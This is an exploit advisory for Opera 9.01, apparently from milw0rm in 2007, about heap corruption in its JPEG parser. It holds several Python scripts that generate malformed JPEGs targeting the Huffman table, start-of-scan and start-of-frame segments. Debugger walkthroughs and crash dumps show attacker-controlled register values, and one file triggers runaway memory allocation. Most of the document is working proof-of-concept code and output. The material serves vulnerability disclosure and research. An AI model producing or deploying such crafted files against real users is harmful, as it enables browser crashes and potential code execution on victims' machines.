Opera JPEG processing - Heap corruption vulnerabilities
=======================================================
Date..:  8th September 2006
       31th October 2006  (update)
        3rd November 2006 (update)
        5th January 2007  (public release)

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=457

Author: posidron

Application: Opera 9.01 Build 8552
Environment: Windows XP Professional, Service Pack 2 - DE


Preamble
========

Opera is vulnerable in parsing the JPEG file format. Discovered were four
vulnerabilities, each in different segments of the file format. I will
describe in this advisory the two important ones.

1 - ntdll.RtlAllocateHeap() DHT vulnerability
2 - ntdll.RtlAllocateHeap() SOS vulnerability

Opera Mini for mobile phones could be vulnerable also. The second bug looks
very interesting to this topic.


Details
=======

The following code produces the sample image on which all further operations
are made. It's a valid image which was generated with Adobe Photoshop.

Properties
----------

 Type       : JPEG
 Size       : 1px x 1px
 Compression: Low
 Colors:    : None
 Filesize   : 304 bytes


# File: sample.py
bytes = [
 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,
 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]

f = open(__file__+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print __file__+".jpg created! (%d bytes)" % len(bytes)
# eof

F:\vulndev\Opera> python sample.py
sample.py.jpg created! (304 bytes)
F:\vulndev\Opera>


                     **************************************************


Details - ntdll.RtlAllocateHeap() DHT vulnerability
---------------------------------------------------

Segment: Define Huffman Table (DHT)

DHT..................: FF C4
Length...............: 00 4B
Index................: 00
Number of codes......: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06
Sum of previous bytes: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

We change the above to the below:

Number of codes......: 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Sum of previous bytes: 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


# File: heap.py
bytes = [
 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,

 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

                                                                        0xFF,
 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]

f = open(__file__+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print __file__+".jpg created! (%d bytes)" % len(bytes)
# eof

F:\vulndev\Opera> python heap.py
heap.py.jpg created! (304 bytes)
F:\vulndev\Opera>



Analyse - ntdll.RtlAllocateHeap() DHT vulnerability
---------------------------------------------------

The call stack is very large, I think here is a good place to start:

74E5D637  call    dword ptr ds:[eax+4]     ; set hardware bp on execution

it's the 6th function from the top of the "crash" call stack. Restart Olly,
press F9 until Opera shows up again.

Hit F7 until:

74E610B6  mov     bl, byte ptr ds:[eax+1]  ; set hardware bp on execution

Hit F9 until the following shows up in the panel, at this statement:

ds:[543502E9]=C4 ('Ã„')
bl=00

That's the marker of the "Define Huffman Table" segment.
Go on with F9, you will reach again:

call dword ptr ds:[eax+4]

Hit again F9, Opera shows up, drag the image into Opera.
You will reach again:

call dword ptr ds:[eax+4]

Hit F9 until you reached:

74E610B6  mov     bl, byte ptr ds:[eax+1]

Hit F9 until the following shows up in the panel, at this statement:

ds:[543502E9]=C4 ('Ã„')
bl=00

Hit F7 to continue.

74E5D735  push    ebp
74E5D736  mov     ebp, esp
...
74E5D750  mov     dh, byte ptr ds:[eax+2]   ; user input
74E5D753  mov     dl, byte ptr ds:[eax+3]   ; user input
74E5D756  lea     edi, dword ptr ds:[edx+2]
74E5D759  cmp     ecx, edi
74E5D75B  jnb     short Opera_1.74E5D765

First bytes of this marker are readed in there.

Go on..

74E5D7C2  mov     dl, byte ptr ds:[eax+ecx]     ; read eax + n
74E5D7C5  mov     byte ptr ss:[ebp+ecx-40], dl  ; new location
74E5D7C9  movzx   edx, dl
74E5D7CC  add     ebx, edx
74E5D7CE  inc     ecx                           ; n+=1
74E5D7CF  cmp     ecx, 10                       ; until n > 16
74E5D7D2  jb      short Opera_1.74E5D7C2
74E5D7D4  lea     eax, dword ptr ds:[ebx+1]
74E5D7D7  mov     dword ptr ss:[ebp-18], ebx
74E5D7DA  push    eax
74E5D7DB  call    Opera_1.751E8B75              ; Opera allocation function

Several operations are made here, single stepping might be interesting,
to follow the read-in process.

74E5D7E0  mov     edi, eax
74E5D7E2  lea     eax, dword ptr ds:[ebx+ebx]
74E5D7E5  push    eax
74E5D7E6  mov     dword ptr ss:[ebp-1C], edi
74E5D7E0  mov     edi, eax
74E5D7E2  lea     eax, dword ptr ds:[ebx+ebx]
74E5D7E5  push    eax
74E5D7E6  mov     dword ptr ss:[ebp-1C], edi
74E5D7E9  call    Opera_1.751E8B75              ; Opera allocation function

If you return here, the last procedures are made.

74E5D8A7  mov     eax, dword ptr ss:[ebp-18]
74E5D8AA  add     eax, 260                      ; new allocation size
74E5D8AF  push    eax
74E5D8B0  call    Opera_1.751E8B75              ; Opera allocation function
<snip>
 76709E57  push    esi                           ; Size
 76709E58  push    0                             ; Flags
 76709E5A  push    dword ptr ds:[768268C0]       ; Handle
 76709E60  call    dword ptr ds:[7671C1C0]       ; ntdll.RtlAllocateHeap
 <snip>
  6BB01414  lea     edx, dword ptr ds:[esi+8]     ; our "string"
  6BB01417  mov     dword ptr ss:[ebp-10C], edx
  6BB0141D  mov     eax, dword ptr ds:[edx]
  6BB0141F  mov     dword ptr ss:[ebp-16C], eax
  6BB01425  mov     ecx, dword ptr ds:[edx+4]
  6BB01428  mov     dword ptr ss:[ebp-114], ecx
  6BB0142E  mov     edi, dword ptr ds:[ecx]       ; ds:[41414141]=???


Access violation when reading [41414141]

EAX 41414141
ECX 41414141
EDX 5C9C9348 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EBX 59110000
ESP 578DEB6C
EBP 578DED8C
ESI 5C9C9340
EDI 0000004F
EIP 3D3D142E ntdll.3D3D142E

At this point we are able to control 4 bytes of EAX and ECX with two bytes,
defined in the JPEG file.
Somebody with a better understanding of the "Define Huffman Table" segment
can probably do more. There are several other issues in parsing this segment.
These routines are very nested and big, it would be a very time-consuming
research.


                     **************************************************


Details - ntdll.RtlAllocateHeap() SOS vulnerability
---------------------------------------------------

The arrows mark the components whose datatypes are not properly validated by
Opera. This can lead to unexpected vulnerabilities depending on the function
flow.

Segment: Start Of Scan (SOS)

SOS:                  FF DA
Length:               00 0C
Components:           03
Data of component:
       - component number:              01
       - 4Bit DC table, 4Bit AC table:  00

       - component number:              02
       - 4Bit DC table, 4Bit AC table:  11

       - component number:              03
       - 4Bit DC table, 4Bit AC table:  11

In the next example we set the value of "Components" to 01, we also overwrite
the end of file with dump bytes. Note, that we also overwrite the JPEG end
marker FF D9.

After executing this JPEG file with Opera, Opera immediatly allocates memory
until the max page size value is reached, but it doesn't stop.

Note that some third party applications could also crash during this process,
in my case Antivir crashed with a "read memory" error.


# File: pavarotti.py
# ATTENTION, THIS COULD DAMAGE YOUR RUNNING SYSTEM!
bytes = [
 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x01, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x41,
 0x41, 0x41, 0x41, 0x03, 0x41, 0x41, 0x41, 0x41, 0x11, 0x41, 0x41, 0x41, 0x41,
 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x01, 0x01, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                                                                        0xFF,
 0xDA, 0x00, 0x0C, 0x01, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x11, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]

f = open(__file__+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print __file__+".jpg created! (%d bytes)" % len(bytes)
# eof

F:\vulndev\Opera> python pavarotti.py
pavarotti.py.jpg created! (637 bytes)
F:\vulndev\Opera> opera pavarotti.py.jpg


As said, this could be also interesting on mobile phones with Opera Mini. The
user has no real control to kill the Opera process, which should result in a
phone reboot. This was not tested.


                     **************************************************


Further vulnerabilities
-----------------------

The arrows mark the components whose datatypes are not properly validated by
Opera.


Segment: Start Of Frame (SOF)

SOF:            FF C0
Length:         00 11
Strictness:     08
Image Hori.:    00 01
Image Vert.:    00 01
Components:     03
Data of component:
       - component number:                      01
       - 4Bit hori., 4Bit vert., sample factor: 22
       - Number of quantisation table:          00 <-

       - component number:                      02
       - 4Bit hori., 4Bit vert., sample factor: 11
       - Number of quantisation table:          01 <-

       - component number:                      03
       - 4Bit hori., 4Bit vert., sample factor: 11
       - Number of quantisation table:          01 <-


The item "Number of quantisation table" of the first component is changed to
FFh in the below file.


# File: sof-quanttable.py
bytes = [
 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,

                                          0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0xFF, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,
 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]


f = open(__file__+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print __file__+".jpg created! (%d bytes)" % len(bytes)
# eof

F:\vulndev\Opera> python sof-quanttable.py
sof-quanttable.py.jpg created! (304 bytes)
F:\vulndev\Opera>


(ntdll)
7C9211D5  mov     eax, dword ptr ds:[esi+C]
7C9211D8  mov     dword ptr ss:[ebp-98], eax
7C9211DE  mov     edx, dword ptr ds:[eax]     ; <-- CRASH

EAX 01010101
ECX 00EB2780
EDX 00930178
EBX 00930000
ESP 0012EC94
EBP 0012EEB4
ESI 00EB2778
EDI 01010101
EIP 7C9211DE ntdll.7C9211DE

----

Segment: Start Of Scan (SOS)

SOS:                  FF DA
Length:               00 0C
Components:           03
Data of component:
       - component number:              01
       - 4Bit DC table, 4Bit AC table:  00 <-

       - component number:              02
       - 4Bit DC table, 4Bit AC table:  11 <-

       - component number:              03
       - 4Bit DC table, 4Bit AC table:  11 <-


The item "4Bit DC table, 4Bit AC table" of the first component is changed to
FFh in the below file.

# File: sos-dcactable.py
bytes = [
 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,
 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
 0xDA, 0x00, 0x0C, 0x03, 0x01,
                              0xFF, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]


f = open(__file__+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print __file__+".jpg created! (%d bytes)" % len(bytes)
# eof

F:\vulndev\Opera> python sos-dcactable.py
sos-dcactable.py.jpg created! (304 bytes)
F:\vulndev\Opera>


67AEE715  push    ebp
67AEE716  mov     ebp, esp
67AEE718  push    esi
67AEE719  mov     esi, ecx
67AEE71B  cmp     dword ptr ds:[esi+48], 8
67AEE71F  jge     short Opera_12.67AEE733
67AEE721  push    dword ptr ss:[ebp+8]
67AEE724  call    Opera_12.67AEE7FE
67AEE729  cmp     dword ptr ds:[esi+48], 8
67AEE72D  jge     short Opera_12.67AEE733
67AEE72F  push    1
67AEE731  jmp     short Opera_12.67AEE75E
67AEE733  mov     eax, dword ptr ds:[esi+44] ; ds=B3001F00 (end part of jpeg file)
67AEE736  mov     ecx, dword ptr ds:[esi+24]
67AEE739  shr     eax, 18
67AEE73C  add     eax, ecx                   ;
67AEE73E  movzx   ecx, byte ptr ds:[eax+60]  ; <-- CRASH

EAX 000000B2
ECX FFFFFFFF
EDX 00EE2534
EBX 00000005
ESP 0012ECB0
EBP 0012ECB4
ESI 00EE2534
EDI 00EE2534
EIP 67AEE73E Opera_12.67AEE73E


                **************************************************

# milw0rm.com [2007-01-08]
